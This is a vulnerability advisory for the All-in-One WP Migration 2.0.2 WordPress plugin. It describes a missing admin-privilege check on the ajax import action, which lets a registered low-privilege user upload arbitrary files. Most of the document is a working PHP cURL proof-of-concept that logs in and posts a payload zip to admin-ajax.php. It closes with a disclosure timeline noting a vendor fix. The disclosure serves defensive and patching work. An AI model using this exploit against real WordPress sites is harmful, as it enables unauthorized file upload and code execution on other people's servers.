All-in-One WP Migration 2.0.2 Remote Code Execution

In Ai1wm_Import_Controller::import admin priveleges ARE NOT checked.

Function is imported as action: _add_action('wp_ajax_import', 'Ai1wm_ImportController::import') in class-ai1wm-main-controller.php

It's possible to use it through wp-admin/admin-ajax.php as regular user.

Using this functionality, we can send any kind of files to remote server.

Proof of Concept

function hack($login, $pass, $url, $cookie ){
    $ckfile = dirname(__FILE__) . $cookie;
    $cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
	curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
	curl_setopt($ch, CURLOPT_TIMEOUT, 10);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_REFERER, $url.'wp-login.php');
	curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$login."&pwd=".$pass."&wp-submit=Log%20In");
	curl_setopt($ch, CURLOPT_POST, 1);
	$content = curl_exec($ch);
    if (preg_match('/adminmenu/i', $content)) {
        echo 'We are log in.<br />';
        curl_setopt($ch, CURLOPT_URL, $url.'wp-admin/admin-ajax.php');
        curl_setopt($ch,
            CURLOPT_POSTFIELDS,
            array(
                'upload-file' => '@' . realpath('poc.zip'),
                'action' => 'import',
                'force' => '1',
                'name' => 'poc'
            ));
        $content = curl_exec($ch);
        if (preg_match('/successfuly/i', $content)) {
            echo 'Success';
        } else {
            echo 'Cannot exploit site';
        }
    } else {
        echo "Cannot login to wordpress";
    }
	curl_close( $ch );
}
$url = "http://wordpress-url/";
// Standard user credentials (created using wp-login.php?action=register)
$user = "test";
$pass = "test";
$cookie = "/cookie.txt";
hack($user, $pass, $url, $cookie);

Timeline

• 13-10-2014: Discovered
• 14-10-2014: Vendor notified
• 15-10-2014: Version 2.0.3 released, issue resolved